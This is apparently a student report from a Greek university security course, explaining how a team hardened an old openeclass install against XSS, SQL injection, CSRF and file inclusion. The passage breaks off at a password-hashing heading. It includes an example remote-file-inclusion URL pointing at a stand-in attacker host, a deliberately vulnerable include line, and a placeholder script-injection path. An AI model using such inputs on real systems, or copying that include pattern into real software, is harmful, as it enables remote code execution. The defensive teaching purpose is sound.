# Προστασία και Ασφάλεια Υπολογιστικών Συστημάτων - 2020
<div style="text-align: justify">

<p style="font-size: 20px"><b>Web Application Security</b></p>
<p style="font-size: 18px"><b>Υπεύθυνος καθηγητής: Χατζηκοκολάκης Κ.</b></p>
:::info
<p style="font-size: 20px"><b>Ομάδα: omada</b></p>
Λεπίδας Νικόλαος 1115201600090</br>
Λαμπρινός Νικόλαος 1115201600088
:::
<p style="font-size: 20px">Περιεχόμενα</p>
</div>
[ToC]
## Εισαγωγή
<div style="text-align: justify">
Ο στόχος της πρώτης εργασίας ήταν να αναλάβουμε τον ρόλο του αμυνόμενου, αλλά και του επιτιθέμενου σε μία <b>web</b> εφαρμογή. Η εφαρμογή αυτή ήταν μια παλιά έκδοση του <b>openeclass (2.3)</b>.</br>
Έπειτα από την εγκατάσταση της εφαρμογής έπρεπε να ψάξουμε για «τρύπες» στον ιστοχώρο του eclass. Συγκεκριμένα, όμως, έπρεπε να αναζητήσουμε πιθανά κενά με επιθέσεις τύπου Cross-Site Scripting (<b>XSS</b>), SQL Injection (<b>SQLI</b>), Cross-Site Request Forgery (<b>CSRF</b>) και Remote File Injection (<b>RFI</b>). Έτσι, έπρεπε να προστατεύσουμε τον ιστοχώρο μας μέχρι τις 26 Απριλίου του 2020 23:59. Στη συνέχεια, ξεκινούσε η περίοδος των επιθέσεων σε μία αντίπαλη ομάδα. Σκοπός των επιθέσεων ήταν να βρούμε τον κωδικό του drunkadmin όπως αυτός αποθηκεύεται στη βάση ή / και να κάνουμε deface.</br>
Παρακάτω εξηγούμε αυτούς τους τύπους επιθέσεων συνοπτικά, πώς προστατέψαμε τον ιστοχώρο μας απέναντι σε αυτούς και τέλος τη διαδικασία της επίθεσης.
---
</div>
## XSS - CROSS SITE SCRIPTING
<div style="text-align: justify">
Το <b>Cross-Site Scripting (XSS)</b> είναι ένας τρόπος επίθεσης με τον οποίο ο hacker προσπαθεί να προσθέσει στον κώδικα της σελίδας «θύμα» δικό του κώδικα javascript. Έτσι, η προσθήκη κακόβουλου κώδικα μέσα σε μία σελίδα που χρησιμοποιεί κάποιος χρήστης ενός συστήματος μπορεί να αποβεί μοιραία και να δώσει τη δυνατότητα στον επιτιθέμενο να κλέψει το cookie ή κάποιο token της σύνδεσης του χρήστη, αλλά και άλλες προσωπικές πληροφορίες του. Υπάρχουν τρεις κατηγορίες αυτής της επίθεσης:</br>
- <b>Stored XSS</b></br>Σε αυτήν την κατηγορία ο κώδικας που θα προστεθεί μέσα στη σελίδα του συστήματος αποθηκεύεται <b>μόνιμα</b> σε κάποιον αποθηκευτικό χώρο· π.χ. σε μία βάση δεδομένων. Έτσι, κάθε φορά που κάποιος χρήστης ζητήσει τη συγκεκριμένη σελίδα θα τρέχει και ο κώδικας που πρόσθεσε κάποιος badguy.
- <b>Reflected XSS</b></br>Σε αυτήν την κατηγορία ο κώδικας που θα προστεθεί δεν θα είναι μόνιμα αποθηκευμένος στη σελίδα όπως στην πρώτη κατηγορία των XSS. Αυτή τη φορά ο κακόβουλος κώδικας στέλνεται μέσω ενός request στον διακομιστή (συνήθως στο url ως parameter) και η σελίδα του response που αποστέλλεται από τον διακομιστή περιλαμβάνει αυτόν τον κώδικα, ο οποίος θα τρέξει εκ μέρους του χρήστη.
- <b>DOM-based XSS</b></br>Σε αυτήν την κατηγορία ο κακόβουλος κώδικας δεν αποστέλλεται με κάποιο request στον διακομιστή. Με javascript οδηγείται και τρέχει στον browser του χρήστη «θύματος». Έτσι, αλλάζει το DOM της HTML σελίδας και ο κακόβουλος κώδικας γίνεται μέρος/κομμάτι του περιεχομένου της σελίδας που θα δει ο χρήστης «θύμα».
</div>
### Defence from XSS
<div style="text-align: justify">
Η τακτική που ακολουθήσαμε για την προστασία από XSS γενικότερα - ανεξάρτητα της κατηγορίας του XSS - είναι η εξής:</br>
Το σημαντικότερο ήταν να αποτρέψουμε να αποθηκευτούν στη βάση του eclass ειδικοί χαρακτήρες, οι οποίοι θα βοηθούσαν κάποιες κακόβουλες επιθέσεις. Έτσι, όταν θα αποθηκεύαμε κάποιες τιμές (πιθανότατα είσοδο του χρήστη) στη βάση, ελέγχαμε ανάλογα την περίπτωση της μεταβλητής για ειδικούς χαρακτήρες. Πρακτικά, δηλαδή, εφαρμόζαμε τη συνάρτηση <em><b>escapeSimple()</b></em> για να κάνουμε escape σίγουρα τα <b>'</b>,<b>"</b> και άλλους χαρακτήρες σύμφωνα με το standard της βάσης δεδομένων. Για να είμαστε σίγουροι πως δεν θα δοκιμάσει κάποιος να χρησιμοποιήσει javascript (συγκεκριμένα τα script tags) αποτρέψαμε πλήρως τη χρήση των in-out tags με τη συνάρτηση <em><b>strip_tags()</b></em>. Εξάλλου, αν κάποιος χρήστης ήθελε να χρησιμοποιήσει <b>bold</b> ή <em>italics</em> στο μήνυμά του, στις αντίστοιχες φόρμες υπήρχε η δυνατότητα μέσω του <b>xinha</b> για αυτές τις δύο δυνατότητες και άλλες - επομένως, δεν περιορίζεται και η λειτουργικότητα του ιστοχώρου -. Η μόνη αλλαγή που κάναμε στη φόρμα του xinha ήταν πως αφαιρέσαμε την τελευταία επιλογή από τα εικονίδια, η οποία επέτρεπε στον χρήστη να εισάγει κώδικα HTML στο κείμενό του (για προφανείς λόγους την αφαιρέσαμε).</br>
Επίσης, προσθέσαμε σε κάθε εμφάνιση δεδομένων έπειτα από ανάκτηση από τη βάση τα ίδια εργαλεία / συναρτήσεις, σε περίπτωση που δεν είχαμε καλύψει όλες τις «τρύπες» κατά την εισαγωγή δεδομένων στη βάση.</br>
Ακόμη, παρατηρήσαμε πως σε αρκετές περιπτώσεις στον κώδικα γινόταν η χρήση του <em>$_SERVER[PHP_SELF]</em> «χύμα». Οπότε αποφασίσαμε σε όλες τις εμφανίσεις του να προσθέσουμε τη συνάρτηση <em><b>htmlspecialchars()</b></em>.</br>
Ακολούθως, χρησιμοποιήσαμε τους παραπάνω τρόπους / συναρτήσεις για να αποτρέψουμε XSS επιθέσεις μέσω παραμέτρων του url για τα post και get requests (π.χ. Στη σελίδα προσθήκης ανακοίνωσης του διαχειριστή στο tag → localize).</br>
</div>
---
## SQLI - SQL INJECTION
<div style="text-align: justify">
Το <b>SQL Injection (SQLI)</b> είναι ένα είδος επίθεσης κατά την οποία ο επιτιθέμενος προσπαθεί να βάλει δικό του SQL κώδικα μέσα στην SQL εντολή που θα τρέξει ο original κώδικας της σελίδας ενός συστήματος, με σκοπό να εκμεταλλευτεί μια ευπάθεια του συστήματος. Έτσι, υπάρχει περίπτωση να παραποιηθεί η SQL εντολή που νομίζει πως θα τρέξει ο προγραμματιστής και ο επιτιθέμενος να κλέψει στοιχεία του χρήστη «θύματος» και όχι μόνο! Αξίζει να σημειωθεί πως αυτή η επίθεση χρησιμοποιείται και για να προστεθούν στοιχεία στη βάση δεδομένων, να γίνουν update στοιχεία στη βάση δεδομένων, αλλά και να διαγραφούν στοιχεία από αυτή.
</div>
### Defence from SQLI
<div style="text-align: justify">
Για να προστατέψουμε τον ιστοχώρο μας από το SQL Injection μια καλή πρακτική θα ήταν να χρησιμοποιήσουμε prepared statements. Τα prepared statements είναι μια νέα τεχνική κατά την οποία οι μεταβλητές που συμμετέχουν στο SQL query φιλτράρονται από το σύστημα της βάσης και περνάνε στο query εν τέλει πάντα μόνο ως απλές μεταβλητές. Για παράδειγμα, αν για μεταβλητή δώσει ο χρήστης τη λέξη κλειδί UNION κατά 99% το σύστημα της βάσης δεν θα το επιτρέψει αυτό και θα αποφευχθεί το injection. Παρόλα αυτά, επειδή στον κώδικα του eclass υπήρχαν πάρα πολλές SQL εντολές, αποφασίσαμε πως δεν είναι τόσο πρακτικό να μετατρέψουμε όλες τις εντολές αυτές σε prepared statements με τη mysqli (οι αντίπαλοί μας στον πρώτο γύρο πάντως καταφέρανε και μετατρέψανε σχεδόν όλες τις εντολές σε prepared statements. Congrats! :D ).</br>
Έτσι, αφού έπρεπε κάπως να αποτρέψουμε τα SQL Injections, σκεφτήκαμε να φιλτράρουμε και να κάνουμε escape τις μεταβλητές που συμμετείχαν στο εκάστοτε query. Για παράδειγμα, αν σε ένα query έπρεπε να χρησιμοποιηθεί το forum_id, τότε για ασφάλεια επειδή το id ξέραμε πως η βάση το περίμενε σαν έναν ακέραιο το φιλτράραμε με τη συνάρτηση <em><b>intval()</b></em>. Άρα, αν ο χρήστης έδινε κάτι περίεργο μέσω του url τύπου string αυτό μετατρεπόταν αυτόματα σε 0. Αν έδινε έναν αριθμό και μετά κάποιο περίεργο κείμενο με εντολές, τότε η intval() θα κρατούσε τελικά μόνο τον αριθμό που θα έβλεπε στην αρχή της μεταβλητής. Σε άλλη περίπτωση, που χρειαζόταν να συμμετέχει στο query ένα string χρησιμοποιούσαμε αρχικά την <em><b>escapeSimple()</b></em> για να γίνουν escape τα single και double quotes (σε αυτή την περίπτωση προσθέσαμε λόγω του XSS και την <em>strip_tags()</em>).</br>
</div>
---
## CSRF - Cross Site Request Forgery
<div style="text-align: justify">
Το <b>Cross Site Request Forgery (CSRF)</b> είναι μία επίθεση, η οποία «αναγκάζει» έναν χρήστη να κάνει κάτι χωρίς τη θέλησή του μέσα σε μία web εφαρμογή, στην οποία ο χρήστης αυτός είναι πιστοποιημένος. Το CSRF στοχεύει πιο συγκεκριμένα στην αλλαγή κάποιας κατάστασης μέσω ενός <b>request</b>. Το να ανακτήσει με το request ο χρήστης κάποια δεδομένα από τη βάση δεν βοηθάει τον επιτιθέμενο, καθώς αυτά τα δεδομένα θα τα δει μόνο το «θύμα» και όχι ο επιτιθέμενος. Με τη βοήθεια του social engineering (όπως το να στείλει ο επιτιθέμενος κάποιο link μέσω email ή chat), ο επιτιθέμενος μπορεί να ξεγελάσει τους χρήστες μιας web εφαρμογής και έτσι, οι τελευταίοι να εκτελέσουν κάτι που δεν θα ήθελαν εκείνοι, αλλά ο επιτιθέμενος.
Αν το «θύμα» είναι ένας απλός χρήστης της εφαρμογής, τότε ένα επιτυχημένο CSRF μπορεί να αναγκάσει το «θύμα» να κάνει κάποιο request, το οποίο να μεταφέρει χρήματα μεταξύ τραπεζικών λογαριασμών, να αλλάξει το email ή τον κωδικό του λογαριασμού του κοκ. Αν όμως το «θύμα» έχει δικαιώματα διαχειριστή, τότε το CSRF μπορεί να θέσει σε μεγάλο κίνδυνο ολόκληρη την εφαρμογή.
</div>
### Defence from CSRF
<div style="text-align: justify">
Όπως έχουμε αναφέρει και στο μάθημα, ένας παραδοσιακός τρόπος να προστατέψεις το site σου από επιθέσεις CSRF είναι να βάλεις σε κάθε φόρμα ένα επιπλέον πεδίο ως hidden <b>(AntiCSRF Token)</b> , το οποίο θα στέλνεται μαζί με τα υπόλοιπα πεδία. Με αυτόν τον τρόπο δεν θα μπορεί ο επιτιθέμενος να κάνει craft κάποιο form ώστε να προκαλέσει ζημιά σε έναν χρήστη. Παρ' όλο που πράγματι αυτό σκοπεύαμε να κάνουμε κι εμείς για να αντιμετωπίσουμε τέτοιου είδους επιθέσεις επιλέξαμε τελικά μια διαφορετική προσέγγιση. Όπως αναφέρουμε και παρακάτω, ψάξαμε και βρήκαμε το <b>SameSite Flag</b> το οποίο παίρνει δύο τιμές: 'lax' και 'strict'. Στην πρώτη περίπτωση, ένα form μπορεί να γίνει submit από κάποιο άλλο site μόνο αν χρησιμοποιεί την μέθοδο GET! Σε περίπτωση που η φόρμα χρησιμοποιεί μέθοδο POST, τότε δεν μπορεί να σταλεί από διαφορετικό site πέραν του κύριου site όπου ουσιαστικά προέρχεται. Αυτή η τιμή για το SameSite είναι η πιο συχνά χρησιμοποιούμενη, καθώς τα περισσότερα sites χρησιμοποιούν τη μέθοδο POST για φόρμες που έχουν ευαίσθητα πεδία όπως αλλαγή κωδικού κλπ. Στη δεύτερη περίπτωση, δηλαδή με το strict, απαγορεύονται όχι μόνο οι φόρμες που χρησιμοποιούν τη μέθοδο POST αλλά και όσες χρησιμοποιούν τη μέθοδο GET!
Αρχικά, σκεπτόμενοι ότι δεν επηρεάζει τη λειτουργικότητα τoυ ιστοχώρου μας, επιλέξαμε να βάλουμε SameSite='Strict', ώστε να γλιτώσουμε από όλες τις CSRF επιθέσεις. Προφανώς, ήταν πιο εύκολο να έχουμε αυτή τη μέθοδο άμυνας από το να υλοποιήσουμε AntiCSRF Token και αφού διαπιστώσαμε ότι το SameSite Flag χρησιμοποιείται και στην πράξη καταλήξαμε σε αυτό. Κατά τη διάρκεια των επιθέσεων όμως αναφέρθηκε ότι δεν είναι αποδεκτή η τιμή του Strict καθώς περιορίζει υπερβολικά την λειτουργικότητα του site κι έτσι βάλαμε την τιμή του SameSite σε lax.
:::info
Παρόλο που το συγκεκριμένο flag επιτρέπει επιτυχημένη αντιμετώπιση των CSRF attacks είδαμε ότι η λογική του token δεν έχει σταματήσει να χρησιμοποιείται. Ειδικά για παλαιότερους browsers, που δεν υποστηρίζουν το συγκεκριμένο policy, η υλοποίηση AntiCSRF Token είναι υποχρεωτική. Σε κάθε περίπτωση θεωρήσαμε πολύ καλή την συγκεκριμένη λύση οπότε αρκεστήκαμε σε αυτήν!
:::
</div>
---
## RFI - REMOTE FILE INJECTION
<div style="text-align: justify">
Το <b>Remote File Injection</b> ή <b>Remote File Inclusion (RFI)</b> είναι μια μορφή επίθεσης στην οποία ο επιτιθέμενος εκμεταλλεύεται μια ευπάθεια του συστήματος για να μπορέσει να φυτέψει ένα δικό του αρχείο (ή πιο γενικά ένα remote file από κάποιον server) με κακόβουλο κώδικα (π.χ. web shell) μέσα στο σύστημα. Έτσι, θα μπορεί έπειτα να τρέξει τον κώδικα είτε εκ μέρους του server είτε εκ μέρους του client. Εκ μέρους του διακομιστή μπορεί να τρέξει κακόβουλο κώδικα για να στείλει μία σελίδα στον χρήστη με κακόβουλο περιεχόμενο και έτσι να του κλέψει το cookie κ.α.
Γενικά το RFI μοιάζει με το <b>LFI (Local File Inclusion)</b>. Και στις δύο περιπτώσεις, μια επιτυχημένη επίθεση έχει ως αποτέλεσμα την αποστολή κακόβουλου λογισμικού στον target server. Ωστόσο, σε αντίθεση με το RFI, οι επιθέσεις LFI στοχεύουν στην εκμετάλλευση ανασφαλών λειτουργιών τοπικής αποστολής αρχείων που δεν επικυρώνουν την είσοδο που παρέχεται από τον χρήστη. Με απλά λόγια, για παράδειγμα αν δεν ελέγχεται η είσοδος του χρήστη σε μία μεταβλητή του URL μπορεί ο χρήστης να περιηγηθεί σε κάθε αρχείο του server και να υποκλέψει στοιχεία.
</div>
### Defence from RFI
<div style="text-align: justify">
Εμείς για να προστατευτούμε από τέτοιες επιθέσεις εκτός από τα αρχεία .tar.gz όπως και άλλα τέτοια αρχεία συμπιεσμένης μορφής που επέτρεπε ήδη το eclass, αποφασίσαμε να επιτρέπουμε ακόμα λίγους τύπους ακίνδυνων κατά τη γνώμη μας αρχείων. Έτσι, επιτρέψαμε τελικά στην αποστολή εργασιών και στην ανταλλαγή αρχείων να μεταφορτώνονται αρχεία με κατάληξη .pdf, .doc, .docx, .pptx, .png, .jpg, .zip, .tar, .7z. Επομένως, επίθεση μέσω κακόβουλων αρχείων σε .php, .js κ.α. δεν μπορούσε να πραγματοποιηθεί στο eclass μας (μάλλον).</br>
Άλλος ένας τρόπος για να προστατευτεί ένα site από το RFI είναι να αλλάζει το όνομα στο αρχείο που ανεβάζει ο χρήστης και να βάζει κάτι μεγάλο και τυχαίο, ώστε να μην μπορεί να αναφέρεται ο δράστης στο κακόβουλο uploaded αρχείο. Επίσης, θα μπορούσε ακόμα και ο φάκελος στον οποίο αποθηκεύεται το αρχείο του χρήστη να έχει ένα όνομα μεγάλο και τυχαίο που να μην μπορεί να βρεθεί ούτε με brute-force. Κάτι τέτοιο έκανε και το eclass από μόνο του. Στην ανταλλαγή αρχείων (dropbox) ήδη μετονόμαζε το αρχείο σε κάτι ψευδο-τυχαίο (στο τέλος προσέθετε 4 τυχαίους αριθμούς). Εμείς το αλλάξαμε αυτό και στο τέλος βάλαμε πολύ περισσότερους τυχαίους αριθμούς, έτσι ώστε να είναι απίθανο το brute-force (τουλάχιστον στο πλαίσιο της προθεσμίας των επιθέσεων της εργασίας). Ακόμη, στις εργασίες (work) το eclass από μόνο του τοποθετούσε / αποθήκευε το αρχείο μέσα σε έναν φάκελο με τυχαίο όνομα και το μετονόμαζε σε:</div>
<div style="text-align:center">
<em><όνομα χρήστη></όνομα> <επώνυμο χρήστη></επώνυμο> <αριθμός μητρώου χρήστη></αριθμός>.file_extension_as_uploaded</em></div></br>
<div style="text-align: justify">
Κάτι άλλο που θα μπορούσαμε να μην επιτρέπουμε θα ήταν μορφές εισόδου που ταιριάζουν με εξωτερικά (εκτός του δικού μας domain) URLs. Ο μόνος λόγος που δεν το κάναμε είναι επειδή ήδη δεν δεχόμαστε αρχεία .php ή .js, τα οποία θεωρήσαμε ως επικίνδυνα. Για παράδειγμα καλό θα ήταν να μην επιτρέπαμε κάτι της μορφής
```
http://www.gooogle.com/file.php?page=http://badguy.evil/evil_page.php
```
γιατί μπορεί η σελίδα file.php να κάνει κάποια στιγμή στον κώδικα το εξής:
```
require_once($_GET['page']);
```
Το τελευταίο (random work folder) το αφήσαμε ως είχε. Θα μπορούσαμε να είχαμε βάλει μεγαλύτερο όνομα φακέλου ή και τυχαίο όνομα αρχείου. Αλλά στην περίπτωση που θα έμπαινε ο αντίπαλος ως drunkadmin όλη αυτή η απόκρυψη θα ήταν άχρηστη, από τη στιγμή που μπορεί να συνδεθεί στη βάση.</br>
</div>
---
## Extra Protection
:::info
Είναι σημαντικό να αναφέρουμε ότι δεν γνωρίζαμε (όπως και άλλες ομάδες) ότι μπορούμε να αλλάξουμε τον κωδικό της Βάσης Δεδομένων από αυτόν που μας είχε δοθεί. Έτσι θεωρούμε τόσο στην άμυνα όσο και στις επιθέσεις ότι για να συνδεθούμε στο phpmyadmin έπρεπε να χρησιμοποιήσουμε τον ίδιο κωδικό που είχε ο drunkadmin.
:::
### Server Side Protection
<div style="text-align: justify">
Για να προστατεύσουμε όσο περισσότερο μπορούσαμε το openeclass ψάξαμε και παραπάνω τρόπους άμυνας από αυτές που αναφέρθηκαν στο μάθημα. Σε επίπεδο server έχουμε κάνει τα εξής:
Αρχικά προσθέσαμε στο configuration του apache (δηλαδή στο αρχείο /etc/apache2/apache2.conf) το directive:
```
<Directory /var/www/html/openeclass>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
```
Με αυτόν τον τρόπο μπορέσαμε να ενεργοποιήσουμε την χρήση αρχείων .htaccess στα οποία δίνοντας διάφορα directives μπορείς να αλλάξεις το πως θα αντιμετωπίσει ο server κάποιο request. Τρέχοντας επίσης τις παρακάτω εντολές ενεργοποιήσαμε τα modules: headers και rewrite.
```
a2enmod rewrite
a2enmod headers
```
(Μετά απαιτείται επανεκκίνηση του server με: service apache2 restart)
Επομένως, χρησιμοποιήσαμε .htaccess αρχεία για να απαγορεύσουμε την πρόσβαση σε σελίδες του ιστοχώρου τις οποίες δεν θεωρούσαμε απαραίτητες για την λειτουργικότητα ή επιτρεπόταν καθαρά να τις κλείσουμε, όπως τα εργαλεία του μαθήματος πέρα από τα 4 που ζητούσε η εκφώνηση.
Για παράδειγμα στο αρχείο .htaccess που βάλαμε στο κεντρικό directory (openeclass) έχουμε προσθέσει το παρακάτω directive ώστε να απαγορεύσουμε κάποιον χρήστη από το να διαβάσει κάποιο .inc.php αρχείο.
```
<FilesMatch ".*\.inc\.php">
Deny from all
</FilesMatch>
```
Είναι προφανές ότι ένα αρχείο που γίνεται include δεν πρέπει - ούτε και χρειάζεται να είναι προσβάσιμο από κάποιον χρήστη.
Στον φάκελο /modules/admin/course_tools/ έχουμε προσθέσει ένα αρχείο .htaccess με το παρακάτω directive ώστε να απαγορεύσουμε την ενεργοποίηση κάποιου εργαλείου μέσω της “Ενεργοποίησης Εργαλείων” από τη διαχείριση πλατφόρμας.
```
<FilesMatch ".*">
Deny from all
</FilesMatch>
```
Επίσης έπρεπε να απαγορεύσουμε την πρόσβαση και στα ανενεργά εργαλεία οπότε κάθε φάκελος με τον κώδικα για το εκάστοτε εργαλείο έχει ένα .htaccess αρχείο με το ίδιο directive όπως και παραπάνω.
Οι φάκελοι των ανενεργών εργαλείων είναι κάτω από το /modules/:
announcements, exercise, agenda, video, learnPath, document, questionnaire, group, course_description, link, wiki.
Να πούμε ότι στον φάκελο /modules/agenda/ έχουμε απαγορεύσει την πρόσβαση μόνο στο αρχείο aggenda.php που είναι για το αντίστοιχο εργαλείο. Το myagenda.php λειτουργεί κανονικά.
Όπως αναφέρθηκε και παραπάνω στο κομμάτι του xss, στον κώδικα υπήρχε σε πολλά σημεία unsanitized το $_SERVER[PHP_SELF] το οποίο είναι επικίνδυνο. Ενώ τελικά προσθέσαμε htmlspecialchars() σε όλα τα σημεία στην αρχή θεωρούσαμε τη συγκεκριμένη διαδικασία αρκετά περίπλοκη και χρονοβόρα οπότε επιλέξαμε να το αντιμετωπίσουμε σε επίπεδο server. Έχουμε προσθέσει στο κεντρικό .htaccess αρχείο το παρακάτω directive το οποίο και θα εξηγήσουμε:
```
RewriteEngine On
RewriteCond %{REQUEST_URI} /(.*)\.php/.* [NC]
RewriteRule . /%1.php [NC,R=301,L]
```
Κοιτώντας το condition έχουμε ότι αν το REQUEST URI έχει τη μορφή:
```
(.*)\.php/.*
```
τότε θα γίνεται ο κανόνας που ακολουθεί. Η μορφή αυτή ουσιαστικά κόβει όλα τα URIs που μετά το αρχείο .php έχουν / και οτιδήποτε άλλο. Με αυτόν τον τρόπο κάθε φορά που κάποιος έβαζε στο URI κάτι της μορφής:
```
/filename.php/""><script>evil-script-here</script>
```
γινότανε redirect στο /filename.php.
Επιπλέον κάτι που προσθέσαμε στο αρχείο .htaccess για να μπερδέψουμε λίγο τους αντιπάλους είναι το εξής:
```
ErrorDocument 404 /404.html
ErrorDocument 403 /404.html
```
Έτσι κάποιος που πήγαινε σε μία σελίδα που είχαμε απαγορέψει με κάποιο directive δεν έβλεπε στο browser το forbidden message αλλά 404 Page Not Found. Φυσικά, αν παρατηρούσε το network θα βλεπε τον πραγματικό κωδικό λάθους που έστελνε ο server.
Κάτι άλλο που θεωρήσαμε πολύ σημαντικό να προστατέψουμε είναι η σελίδα που κάνει είσοδο ο διαχειριστής στη βάση δεδομένων (/modules/admin/mysql). Προφανώς το phpmyadmin είναι μια εφαρμογή από μόνη της αρκετά μεγάλη ώστε να μπορέσουμε να βρούμε κενά και να την προστατέψουμε. Όμως σκεφτήκαμε ότι υπήρχε η πιθανότητα να υπάρχουν κάποια κενά στην εφαρμογή όπου θα επέτρεπαν στον επιτιθέμενο να μας προκαλέσει ζημιά. Σκεφτήκαμε ότι το πιο σωστό ήταν να προσθέσουμε έναν έξτρα μηχανισμό ασφάλειας στη συγκεκριμένη σελίδα (και σε όποια σελίδα βρίσκεται κάτω από το φάκελο /modules/admin/mysql/). Επομένως ενεργοποιήσαμε μία δυνατότητα που έχει ο apache server για authentication.
Προσθέσαμε στο αρχείο /etc/apache2/site-enabled/000-default.conf το εξής directive:
```
<Directory "/var/www/html/openeclass/modules/admin/mysql">
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
```
Στη συνέχεια δημιουργήσαμε στο αρχείο /etc/apache2/.htpasswd μία εγγραφή για τον χρήστη drunkadmin με την εντολή:
```
htpasswd -c /etc/apache2/.htpasswd drunkadmin
```
και προφανώς δώσαμε για κωδικό τον κωδικό του drunkadmin που μας είχε δοθεί στο μάθημα. Συνεπώς όταν συνδεθεί ο πραγματικός drunkadmin στην εφαρμογή (και όχι κλέβοντας το cookie) μπορεί χρησιμοποιώντας άλλη μια φορά τον κωδικό του να μπεί στη σελίδα του phpmyadmin. Εδώ έχουμε χρησιμοποιήσει ουσιαστικά 2 φορές τον μηχανισμό εισόδου του χρήστη αλλά έγινε καθώς θεωρούμε ότι δεν θα έπρεπε οποιοσδήποτε χρήστης να έχει πρόσβαση στην είσοδο του phpmyadmin. Αν είμασταν 100% σίγουροι ότι δεν υπάρχει κανένα κενό τότε θα αφαιρούσαμε τον έξτρα μηχανισμό.
Στην προσπάθεια μας να βρούμε ευπάθειες στο openeclass έπρεπε να μπούμε στο ρόλο του επιτιθέμενου και σε αυτό το πλαίσιο χρησιμοποιήσαμε ένα γνωστό και καλό εργαλείο το owasp zap proxy (https://www.zaproxy.org/). Κάνοντας scan το site για ευπάθειες πήραμε μηνύματα όπως:
SQL Injection
Cross Site Scripting
Directory Browsing
X-Frame-Options Header Not Set
Cookie No HttpOnly Flag
Cookie Without SameSite Attribute
Web Browser XSS Protection Not Enabled
Τα περισσότερα XSS και SQLI σημεία που έβγαλε τα είχαμε ήδη βρεί καθώς τρέξαμε το εργαλείο προς το τέλος της εργασίας. Τα υπόλοιπα μηνύματα όμως μας βοήθησαν ώστε να ψάξουμε τι είναι και να μπορέσουμε να βελτιώσουμε την ασφάλεια μας.
Διαβάσαμε για το HttpOnly Flag στο cookie το οποίο δίνει την δυνατότητα απαγόρευσης της πρόσβασης στο cookie από κώδικα javascript. Αυτό σημαίνει ότι δεν μπορείς να κάνεις:
```javascript
document.cookie
```
και να έχεις πρόσβαση στο cookie. Προφανώς είναι πολύ σημαντική η χρήση του καθώς έχουμε τονίσει και στο μάθημα ότι το cookie είναι ισοδύναμο με τον κωδικό όσο ο χρήστης δεν κλείσει το session. Κάποιος επιτιθέμενος θα μπορούσε να κάνει Session Hijacking και αυτό θα ήταν πραγματικά μοιραίο αν έκλεβε το session του admin!
Για το SameSite flag έχουμε αναφερθεί στο κομμάτι του CSRF.
Ψάξαμε για το Web Browser XSS Protection το οποίο είναι ένα flag που ενεργοποιεί έναν μηχανισμό άμυνας του broswer σε xss. Είδαμε ότι ο συγκεκριμένος μηχανισμός μπορούσε εύκολα να γίνει bypassed και γι αυτό τον λόγο έχει σταματήσει να χρησιμοποιείται. Παρ' όλα αυτά προσθέσαμε το αντίστοιχο flag κυρίως για να το θυμόμαστε.
Ψάξαμε για το X-Frame-Options Header το οποίο χρησιμοποιείται ως άμυνα για το ClickJacking. Πιο συγκεκριμένα με αυτό το header μπορούμε να εμποδίσουμε μία σελίδα από το να κάνει render μία άλλη σελίδα μέσα σε iframe. Είναι πολύ διαδεδομένο καθώς όλο και περισσότεροι επιτιθέμενοι προσπαθούν να βγάλουν χρήματα μέσω ClickJacking. ClickJacking συμβαίνει ακόμα και σήμερα όπου αρκετές φορές πάμε να πατήσουμε ένα κουμπί σε κάποιο site όμως πατάμε σε μία "αόρατη" διαφήμιση! Εμείς επιλέξαμε να θέσουμε την τιμή του συγκεκριμένου header σε sameorigin όπου επιτρέπουμε να γίνει render μία σελίδα μέσα σε ένα iframe μόνο αν η σελίδα είναι από το δικό μας site.
Ψάξαμε για το X-Content-Type Header όπου χρησιμοποιείται για άμυνα σε MIME sniffing attacks καθώς κάποιος επιτιθέμενος μπορούσε να εκμεταλλευτεί το MIME sniffing του browser και να εκτελέσει κάποιο XSS.
Επομένως τελειώνοντας με τα περιεχόμενα του κεντρικού .htaccess αρχείου έχουμε το παρακάτω directive:
```
<IfModule mod_headers.c>
Header set X-Frame-Options: sameorigin
Header set X-Content-Type-Options: nosniff
Header set X-XSS-Protection: "1; mode=block"
Header set Strict-Transport-Security: "max-age=31536000; includeSubDomains;"
Header edit Set-Cookie (.*) "$1; HTTPOnly; SameSite=Lax"
Header set Feature-Policy: "autoplay 'none'"
</IfModule>
```
Όπως φαίνεται έχουμε χρησιμοποιήσει άλλα δύο headers τα οποία δεν έχουμε αναφέρει. Το ένα είναι το Feature-Policy, όπου με αυτό απαγορεύουμε από κάποιο βίντεο να ξεκινήσει να παίζει αυτόματα. Φανταστήκαμε ότι σε περίπτωση που κάποιος μας κάνει deface και θέλει να βάλει βίντεο πιθανότατα θα θέλει να ξεκινάει αυτόματα. Για να δείξουμε ότι δεν παρατάμε τα όπλα ακόμα και σε αυτό το στάδιο βάλαμε το συγκεκριμένο header το οποίο δεν προσφέρει ουσιαστικά καμία ασφάλεια..
Το δεύτερο είναι το HTTP Strict-Transport-Security γνωστό αλλιώς και ως HSTS. Ο συγκεκριμένος μηχανισμός αναγκάζει τον broswer να "μιλήσει" με την σελίδα μόνο μέσω HTTPS. Χρησιμοποιώντας TLS αποφεύγονται μεγάλες καταστροφές! Είναι πολύ σημαντικός μηχανισμός για την ασφάλεια σε web applications καθώς πρίν κάποια χρόνια γινόντουσαν πολλά Man In The Middle Attacks - MITM στα οποία μπορούσε κάποιος επιτιθέμενος να είναι ανάμεσα στον χρήστη και τον server και να υποκλέπτει όλη την πληροφορία. Προφανώς, εφόσον όλη η πληροφορία δεν ήταν κρυπτογραφημένη ο attacker μπορούσε να δει πραγματικά τα πάντα, από κωδικούς μέχρι αριθμούς πιστωτικών καρτών. Μάλιστα, χωρίς το HSTS υπάρχουν επιθέσεις (SSLStrip) οι οποίες μπορούν να κάνουν downgrade μία σύνδεση https σε http και στη συνέχεια ο attacker να υποκλέψει την μεταδιδόμενη πληροφορία. Έχουμε κάνει τέτοιου είδους επιθέσεις στο παρελθόν και είναι αρκετά εύκολες χωρίς να απαιτούν ιδιαίτερα technical skills. Ξανά, χρησιμοποιήσαμε αυτό το header όχι για κάποιον ουσιαστικό λόγο καθώς δεν βάλαμε SSL Certificate παρά μόνο για να το θυμόμαστε στο μέλλον που θα κοιτάμε την εργασία.
</div>
### Password Security - Bcrypt Hash Function
<div style="text-align: justify">
